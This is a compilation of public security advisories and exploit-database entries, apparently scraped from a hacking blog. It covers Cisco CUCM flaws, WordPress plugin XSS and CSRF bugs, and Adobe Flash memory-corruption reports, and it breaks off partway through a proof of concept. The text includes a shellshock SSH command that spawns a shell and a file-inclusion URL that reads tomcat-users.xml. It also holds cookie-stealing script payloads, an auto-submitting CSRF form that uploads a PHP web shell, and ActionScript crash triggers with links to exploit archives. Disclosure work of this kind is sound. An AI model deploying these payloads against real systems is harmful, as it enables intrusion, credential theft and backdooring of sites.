Vantage Point Security Advisory 2015-001
========================================
Title: Cisco Unified Communications Manager Multiple Vulnerabilities
Vendor: Cisco
Vendor URL: http://www.cisco.com/
Versions affected: <9.2, <10.5.2, <11.0.1.
Severity: Low to medium
Vendor notified: Yes
Reported: Oct. 2014
Public release: Aug. 13th, 2015
Author: Bernhard Mueller <bernhard[at]vantagepoint[dot]sg>
Summary:
--------
Cisco Unified Communications Manager (CUCM) offers services such as session
management, voice, video, messaging, mobility, and web conferencing.
During the last year, Vantage Point Security has reported four security
issues to Cisco as listed below.
1. Shellshock command injection
--------------------------------
Authenticated users of CUCM can access limited functionality via the web
interface and Cisco console (SSH on port 22). Because the SSH server is
configured to process several environment variables from the client and a
vulnerable version of bash is used, it is possible to exploit command
injection via specially crafted environment variables (CVE-2014-6271 a.k.a.
shellshock). This allows an attacker to spawn a shell running as the user
"admin".
Several environment variables can be used to exploit the issue. Example:
$ LC_PAPER="() { x;};/bin/sh" ssh Administrator@examplecucm.com
2. Local File Inclusion
-----------------------
The application allows users to view the contents of any locally accessible
files on the web server through a vulnerability known as LFI (Local File
Inclusion). LFI vulnerabilities are commonly used to download application
source code, configuration files and files containing sensitive information
such as passwords. Exploiting this issue requires a valid user account.
https://cucm.example.com/:8443/reporter-servlet/GetFileContent?Location=/&FileName=/usr/local/thirdparty/jakarta-tomcat/conf/tomcat-users.xml
3. Unauthenticated access to ping command
-----------------------------------------
The pingExecute servlet allows unauthenticated users to execute pings to
arbitrary IP addresses. This could be used by an attacker to enumerate the
internal network. The following URL triggers a ping of the host 10.0.0.1:
https://cucm.example.com:8443/cmplatform/pingExecute?hostname=10.0.0.1&interval=1.0&packetsize=12&count=1000&secure=false
4. Magic session ID allows unauthenticated access to SOAP calls
---------------------------------------------------------------
Authentication for some methods in the EPAS SOAP interface can be bypassed
by using a hardcoded session ID. The methods "GetUserLoginInfoHandler" and
"GetLoggedinXMPPUserHandler" are affected.
Fix Information:
----------------
Upgrade to CUCM version 9.2, 10.5.2 or 11.0.1.
References:
-----------
https://tools.cisco.com/quickview/bug/CSCus88031
https://tools.cisco.com/quickview/bug/CSCur49414
https://tools.cisco.com/quickview/bug/CSCum05290
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
http://tools.cisco.com/security/center/viewAlert.x?alertId=37111
Timeline:
---------
2014/10: Issues reported to Cisco;
2015/07: Confirm that all issues have been fixed.
About Vantage Point Security:
--------------------
Vantage Point is the leading provider for penetration testing and security
advisory services in Singapore. Clients in the Financial, Banking and
Telecommunications industries select Vantage Point Security based on
technical competency and a proven track record to deliver significant and
measurable improvements in their security posture.
https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863293588
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/55664/info
The Token Manager plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Token Manager 1.0.2 is vulnerable; other versions may also be affected.
http://www.example.com/wp-admin/admin.php?page=tokenmanageredit&tid=<script>alert(document.cookie);</script>
http://www.example.com/wp-admin/admin.php?page=tokenmanagertypeedit&tid=<script>alert(document.cookie);</script>
source: https://www.securityfocus.com/bid/55660/info
WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.
WordPress 3.4.2 is vulnerable; other versions may also be affected.
<body onload="javascript:document.forms[0].submit()"> <form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form"> <h1>How Many Girls You Have? xD))</h1> <!-- Idea for you: Iframe it --> <input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" /> <select id="rss-items-1" name="widget-rss[1][items]"> <option value='1' >1</option> <option value='2' >2</option> <option value='3' >3</option><option value='4' >4</option> <option value='5' >5</option> <option value='6' >6</option> <option value='7' >7</option> <option value='8' >8</option> <option value='9' >9</option> <option value='10' >10</option> <option value='11' >11</option> <option value='12' >12</option> <option value='13' >13</option> <option value='14' >14</option> <option value='15' >15</option> <option value='16' >16</option> <option value='17' >17</option> <option value='18' >18</option> <option value='19' >19</option> <option value='20' selected='selected'>20</option> </select> <input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget_id" value="dashboard_incoming_links" /> </form>
source: https://www.securityfocus.com/bid/55666/info
The Sexy Add Template plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.
Sexy Add Template 1.0 is vulnerable; other versions may also be affected.
#################################################################################
#
# [ Information Details ]
# - Wordpress Plugin Sexy Add Template:
# Attacker allow CSRF Upload Shell.
# http://localhost/wp-admin/themes.php?page=AM-sexy-handle <--- Vuln CSRF, not require verification CODE "wpnonce".
#
# <html>
# <head>
# <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
# <title>Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability</title>
# </head>
# <body onload="document.form0.submit();">
# <form method="POST" name="form0" action="http://localhost/wp-admin/themes.php?page=AM-sexy-handle" method="post" enctype="multipart/form-data" >
# <input type="hidden" name="newfile" value="yes" />
# <input type="hidden" type="text" value="shell.php" name="AM_filename">
# <textarea type="hidden" name="AM_file_content">
# [ Your Script Backdoor/Shell ]
# </textarea>
# </form>
# </body>
# </html>
#
# - Access Shell:
# http://www.example.com/wp-content/themes/[theme-name]/shell.php <--- HACKED...!!!
#
# +#################################################################################
source: https://www.securityfocus.com/bid/55667/info
Neturf eCommerce Shopping Cart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/search.php?SearchFor=<script>alert(/farbodmahini/)</script>
Source: https://code.google.com/p/google-security-research/issues/detail?id=224&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
There’s an error in the PCRE engine version used in Flash that allows the execution of arbitrary PCRE bytecode, with potential for memory corruption and RCE.
This issue is a duplicate of http://bugs.exim.org/show_bug.cgi?id=1546 originally reported to PCRE upstream by mikispag; I rediscovered the issue fuzzing Flash so have filed this bug report to track disclosure deadline for Adobe.
The issue occurs in the handling of zero-length assertions; ie assertions where the object of the assertion is prepended with the OP_BRAZERO operator.
Simplest testcase that will crash in an ASAN build is the following:
(?(?<a>)?)
This is pretty much a nonsense expression, and I'm not sure why it compiles successfully; but it corresponds to the statement that 'assert that named group 'a' optionally matches'; which is tautologically true regardless of 'a'.
Regardless, we emit the following bytecode:
0000 5d0012 93 BRA [18]
0003 5f000c 95 COND [12]
0006 66 102 BRAZERO
0007 5e00050001 94 CBRA [5, 1]
000c 540005 84 KET [5]
000f 54000c 84 KET [12]
0012 540012 84 KET [18]
0015 00 0 END
When this is executed, we reach the following code:
/* The condition is an assertion. Call match() to evaluate it - setting
the final argument match_condassert causes it to stop at the end of an
assertion. */
else
{
RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,
match_condassert, RM3);
if (rrc == MATCH_MATCH)
{
condition = TRUE;
ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2);
while (*ecode == OP_ALT) ecode += GET(ecode, 1); <---- ecode is out of bounds at this point.
If we look at the execution trace for this expression, we can see where this code goes wrong:
exec 0x600e0000dfe4 93 [0x60040000dfd0 41]
exec 0x600e0000dfe7 95 [0x60040000dfd0 41]
exec 0x600e0000dfea 102 [0x60040000dfd0 41] <--- RMATCH recursive match
exec 0x600e0000dfeb 94 [0x60040000dfd0 41]
exec 0x600e0000dff0 84 [0x60040000dfd0 41]
exec 0x600e0000dff3 84 [0x60040000dfd0 41]
exec 0x600e0000dff6 84 [0x60040000dfd0 41]
exec 0x600e0000dff9 0 [0x60040000dfd0 41] <--- recursive match returns
before 0x600e0000dfe7 24067 <--- ecode == 0x...dfe7
after 0x600e00013dea
If we look at the start base for our regex, it was based at dfe4; so dfe7 is the OP_COND, as expected. Looking at the next block of code, we're clearly expecting the assertion to be followed by a group; likely OP_CBRA or another opcode that has a 16-bit length field following the opcode byte.
ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2);
In this case, the insertion of the OP_BRAZERO has resulted in the expected OP_CBRA being shifted forward by a byte to 0x...dfeb; and this GET results in the value of 0x5e00 + 1 + LINK_SIZE being added to the ecode pointer, instead of the correct 0x0005 + 1 + LINK_SIZE, resulting in bytecode execution hopping outside of the allocated heap buffer.
See attached for a crash PoC for the latest Chrome/Flash on x64 linux.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37839.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=278&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
FlashBroker - Junction Check Bypass With Forward Slash IE PM Sandbox Escape
1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker
FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.
There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker only considers "\" as delimiter. If the destination includes "/", FlashBroker will use a wrong destination folder for check.
The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.
2. Credit
Jietao Yang of KeenTeam (@K33nTeam) is credited for the vulnerability.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37840.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=279&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
FlashBroker - Junction Check Bypass With Locked Directory IE PM Sandbox Escape
1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker
FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.
There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker uses CreateFile to open the destination folder for check. If CreateFile fails, the destination will be considered as a valid path. However, FlashBroker uses dwShareMode as 0 in CreateFile, which make CreateFile always fail if handle of the destination folder is held by other.
The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.
2. Credit
Jietao Yang and Jihui Lu of KeenTeam (@K33nTeam) is credited for the vulnerability.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37841.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=280&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
FlashBroker - BrokerMoveFileEx TOCTOU IE PM Sandbox Escape
1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker
FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.
There is a race condition in FlashBroker BrokerMoveFileEx method. This race can be won by using an oplock to wait for the point where the BrokerMoveFileEx method opens the original file and then making destination to be a junction.
The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.
2. Credit
Jihui Lu of KeenTeam (@K33nTeam) is credited for the vulnerability.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37842.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]
VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.
VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1
REPRODUCTION CASE
From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp
944 // Specialized to be called from Function.apply().
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a)
946 {
947 int32_t argc = a->getLength();
...
966 // Tail call inhibited by local allocation/deallocation.
967 MMgc::GC::AllocaAutoPtr _atomv;
968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow
969 atomv[0] = thisArg;
970 for (int32_t i=0 ; i < argc ; i++ )
971 atomv[i+1] = a->getUintProperty(i);
972 return env->coerceEnter(argc, atomv);
973 }
So the idea is to use the rest argument to get a working poc. For example:
public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
}
public function XApplyPoc() {
var a:Array = new Array()
a.length = 0xFFFFFFFF
myFunc.apply(this, a)
}
Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=303&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470864]
VULNERABILITY DETAILS
Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations.
VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1
REPRODUCTION CASE
Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution.
pepflashplayer.dll 17.0.0.134, based at 0x10000000.
The setSubscribedTags is handled by sub_103255AD:
.text:103255AD push ebp
.text:103255AE mov ebp, esp
.text:103255B0 and esp, 0FFFFFFF8h
.text:103255B3 sub esp, 14h
.text:103255B6 push ebx
.text:103255B7 mov ebx, [ebp+arg_0]
.text:103255BA push esi
.text:103255BB push edi
.text:103255BC mov edi, eax
.text:103255BE mov eax, [ebx]
.text:103255C0 mov ecx, ebx
.text:103255C2 call dword ptr [eax+8Ch] ; first get the length of the provided array
.text:103255C8 lea esi, [edi+4Ch]
.text:103255CB mov [esp+20h+var_C], eax
.text:103255CF call sub_103265BB
.text:103255D4 mov esi, [esp+20h+var_C]
.text:103255D8 test esi, esi
.text:103255DA jz loc_1032566D
.text:103255E0 xor ecx, ecx
.text:103255E2 push 4
.text:103255E4 pop edx
.text:103255E5 mov eax, esi
.text:103255E7 mul edx
.text:103255E9 seto cl
.text:103255EC mov [edi+58h], esi
.text:103255EF neg ecx
.text:103255F1 or ecx, eax
.text:103255F3 push ecx
.text:103255F4 call unknown_libname_129 ; and then allocate an array of 4*length
.text:103255F9 and [esp+24h+var_10], 0
.text:103255FE pop ecx
.text:103255FF mov [edi+54h], eax ; that pointer is put at offset 0x54 in the object pointed by edi
Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered:
.text:10325606 loc_10325606:
.text:10325606 mov eax, [edi+8]
.text:10325609 mov eax, [eax+14h]
.text:1032560C mov esi, [eax+4]
.text:1032560F push [esp+20h+var_10]
.text:10325613 mov eax, [ebx]
.text:10325615 mov ecx, ebx
.text:10325617 call dword ptr [eax+3Ch] ; get the ith element
.text:1032561A push eax
.text:1032561B mov ecx, esi
.text:1032561D call sub_1007205D ; call element->toString()
.text:10325622 lea ecx, [esp+20h+var_8]
.text:10325626 push ecx
.text:10325627 call sub_10061703
.text:1032562C mov eax, [esp+20h+var_4]
.text:10325630 inc eax
.text:10325631 push eax
.text:10325632 call unknown_libname_129
.text:10325637 mov edx, [edi+54h]
.text:1032563A pop ecx
.text:1032563B mov ecx, [esp+20h+var_10]
.text:1032563F mov [edx+ecx*4], eax ; write a pointer to the string in the array
...
.text:1032565F inc [esp+20h+var_10]
.text:10325663 mov eax, [esp+20h+var_10]
.text:10325667 cmp eax, [esp+20h+var_C]
.text:1032566B jl short loc_10325606
The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory.
Trigger with that:
var avss:flash.media.AVSegmentedSource = new flash.media.AVSegmentedSource ();
var o:Object = new Object();
o.toString = function():String {
var a = [0,1,2,3];
avss.setSubscribedTags(a);
return "ahahahahah"
};
var a = [o,1,2,3,4,5,6,7,8,9];
var i:uint = 0;
while (i < 0x100000) {
i++;
a.push(i);
}
avss.setSubscribedTags(a);
Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf.
Compile with mxmlc -target-player 15.0 -swf-version 25 XAVSSArrayPoc.as.
My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37844.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=326&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=475018]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
Issues in DefineBitsLossless and DefineBitsLossless2 leads to using uninitialized memory while rendering a picture. This is caused by the returned value of a zlib function not properly checked.
VERSION
Chrome version 41.0.2272.101, Flash 17.0.0.134 (the code below comes from flash player standalone exe 17.0.0.134)
Operating System: Win 7 x64 SP1
REPRODUCTION CASE
Compile the provided poc with flex sdk:
mxmlc -static-link-runtime-shared-libraries=true -compress=false -target-player 15.0 -swf-version 25 XBitmapGif.as
And change the bytes in the DefineBitsLossless2 tag, at offset 0x228:
14 00 14 00 78 to 14 00 14 00 41
To get a DefineBitsLossless tag, change the byte at offset 0x220:
09 47 00 00 00 to 05 47 00 00 00
Load the provided pocs and see the pointers partially disclosed.
When handling such tags, Flash first allocates a buffer according to the picture's width and height but does not initialize it. If the compressed data stream is corrupted, the zlib function just returns an invalid token and Flash leaves the uninitialized buffer as is.
Look at sub_54732C:
.text:0054746C loc_54746C:
.text:0054746C mov ecx, [esi]
.text:0054746E push 0
.text:00547470 push 0
.text:00547472 push eax
.text:00547473 push [ebp+var_10]
.text:00547476 push [ebp+var_14]
.text:00547479 push [ebp+var_C]
.text:0054747C call sub_545459 ; allocate a buffer of 4 * 14h * 14h = 640h
.text:00547481 cmp [ebp+var_1], 0
.text:00547485 mov ecx, [esi]
.text:00547487 setnz al
.text:0054748A mov [ecx+58h], al
...
.text:005474DE loc_5474DE:
.text:005474DE lea eax, [ebp+var_50]
.text:005474E1 push 0
.text:005474E3 push eax
.text:005474E4 call xinflate ; inflate the buffer, but there's no error check?
.text:005474E9 pop ecx ; thus we can return 0xFFFFFFFD in eax with a corrupt stream
.text:005474EA pop ecx
.text:005474EB cmp eax, 1
.text:005474EE jz short loc_5474FB
.text:005474F0 test eax, eax
.text:005474F2 jnz short loc_54753A ; which will skip the buffer initialization
Reading this data back is not straightforward. For a DefineBitsLossless tag, we can read values like 0xFFXXYYZZ. For a DefineBitsLossless2 tag an operation is performed on the pixels so we can only read f(pixel). That function is handled by sub_4CD3B0 and uses a hardcoded table. By conbining both the DefineBitsLossless and DefineBitsLossless2 tags I'm quite convinced we can guess a full pointer.
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37846.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=316&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=472201]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
Loading a weird MPD file can corrupt flash player's memory.
VERSION
Chrome version 41.0.2272.101, Flash 17.0.0.134
Operating System: Win 7 x64 SP1
REPRODUCTION CASE
I'm ripping most of this from scarybeasts' sources. I'm sure he's ok with that =D.
"To reproduce, host the attached SWF and other files on a web server (e.g. localhost) and load it like this:"
"http://localhost/PlayManifest.swf?file=gen.mpd
"To compile the .as file, I had to use special flags to flex:"
"mxmlc -target-player 14.0 -swf-version 25 -static-link-runtime-shared-libraries ./PlayManifest.as"
"(This also requires that you have v14.0 of playerglobals.swc installed. Any newer version should also be fine.)"
On Win7 x64 sp1 with Chrome 32 bit, crash like this:
6AA8B67C | 8B C3 | mov eax,ebx |
6AA8B67E | E8 A1 05 00 00 | call pepflashplayer.6AA8BC24 |
6AA8B683 | EB A8 | jmp pepflashplayer.6AA8B62D |
6AA8B685 | 89 88 D0 00 00 00 | mov dword ptr ds:[eax+D0],ecx | // crash here, eax points somewhere in pepflashplayer.dll
6AA8B68B | 8B 88 88 00 00 00 | mov ecx,dword ptr ds:[eax+88] |
6AA8B691 | 33 D2 | xor edx,edx |
6AA8B693 | 3B CA | cmp ecx,edx |
6AA8B695 | 74 07 | je pepflashplayer.6AA8B69E |
6AA8B697 | 39 11 | cmp dword ptr ds:[ecx],edx |
6AA8B699 | 0F 95 C1 | setne cl |
At first sight this looks to be an uninitialized stack variable but I might be wrong.
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37845.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=330&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=476926]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
This is Issue 457278 resurrected.
VERSION
Chrome Version: [?, Flash 17.0.0.169]
Operating System: [Windows 7 x64 SP1]
REPRODUCTION CASE
When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs.
Note: Flash 17.0.0.169 tried to patch the previous issue by setting an "in used" flag on the targeted filter (flashplayer17_sa.exe 17.0.0.169):
.text:004D67F8 mov esi, [esp+1Ch+var_4]
.text:004D67FC push 1 ; char
.text:004D67FE mov ecx, ebp ; int
.text:004D6800 mov byte ptr [esi+0Ch], 1 // this flag was added
.text:004D6804 call xparseAS2Code
.text:004D6809 mov byte ptr [esi+0Ch], 0
And when we check the function that deletes the filters:
.text:004D66D0 push edi
.text:004D66D1 mov edi, ecx
.text:004D66D3 cmp byte ptr [edi+0Ch], 0 // check again the flag, and jump if it is set, so that the filter won't be deleted
.text:004D66D7 jnz short loc_4D6716
.text:004D66D9 cmp dword ptr [edi], 0
.text:004D66DC jz short loc_4D6708
We can bypass that feature with the following code:
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters // set the flag to 1
--- in MyGlowFilter ---
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters // set the flag to 1, and then set it to 0
//now we can free the filter :D, the flag is set to 0!
_global.tfield.filters = []
Tested on Flash Player standalone 17.0.0.169, the updated Chrome is not available at the time of writing.
But since the objects haven't changed too much the updated version should crash while dereferencing 0x41424344.
Can't we call that a -1day :D?
***************************************************************************
Content of FiltusPafusBis.fla
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x50/4;i++) {
a2[i] = 0x41424344
}
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x200;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
for (var i = 0; i<0x20;i++) {
_global.a1[0x100+i*4].tabStops = [1,2,3,4]
}
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
for (var i = 0; i<0x200;i++) {
_global.a1[i].tabStops = a2
}
}
_global.tfield = tfield
_global.f = f
_global.a1 = a1
_global.a2 = a2
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
***************************************************************************
Content of MyGlowFilter.as:
import flash.filters.GlowFilter;
class MyGlowFilter extends flash.filters.GlowFilter {
public function MyGlowFilter (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
_global.f()
}
}
***************************************************************************
Content of MyGlowFilter2.as:
import flash.filters.GlowFilter;
class MyGlowFilter2 extends flash.filters.GlowFilter {
public function MyGlowFilter2 (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
}
}
***************************************************************************
Content of FiltusPafusBis_poc.fla
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
}
_global.tfield = tfield
_global.f = f
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37847.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
A little bug while setting the TextFilter.filters array.
Chrome 42.0.2311.90 with Flash 17.0.0.169
VERSION
Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004D6964 loc_4D6964:
.text:004D6964 and eax, 0FFFFFFF8h
.text:004D6967 push edi
.text:004D6968 mov edi, eax
.text:004D696A mov ecx, edi
.text:004D696C xor esi, esi
.text:004D696E call xAS2_getArrayLength ; here we can override object.length and execute some code
.text:004D6973 test eax, eax ; if that code frees the object pointed by ebx...
.text:004D6975 jle short loc_4D69A3
.text:004D6977
.text:004D6977 loc_4D6977:
.text:004D6977 push edi
.text:004D6978 mov ecx, esi
.text:004D697A call sub_4D3FE0 ; get an item from the object
.text:004D697F add esp, 4
.text:004D6982 test eax, eax ; we have either a filter or 0 here
.text:004D6984 jz short loc_4D6997
.text:004D6986 mov edx, [eax]
.text:004D6988 mov ecx, eax
.text:004D698A mov eax, [edx+18h]
.text:004D698D call eax
.text:004D698F push eax
.text:004D6990 mov ecx, ebx ; ...we get a use after free here
.text:004D6992 call sub_4CDB70 ; and a write-4 condition here
.text:004D6997
.text:004D6997 loc_4D6997:
.text:004D6997 mov ecx, edi
.text:004D6999 inc esi
.text:004D699A call xAS2_getArrayLength
.text:004D699F cmp esi, eax
.text:004D69A1 jl short loc_4D6977
Freeing the object pointed by ebx is easy indeed:
var tfield:TextField = createTextField("tf",1,1,2,3,4) //create a TextField at depth 1
tfield.filters = [] //create the targeted object
createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object
flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344
***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
function f() {
_global.mc.createTextField("tf",1,1,2,3,4)
}
_global.mc = this
_global.counter = 0
var oCounter:Object = new Object()
oCounter.valueOf = function () {
_global.counter += 1
if (_global.counter == 1) f()
return 10;
}
var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o
***************************************************************************
Content of flash_as2_filters_uaf_write4.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
a2[i] = 0x41424344
}
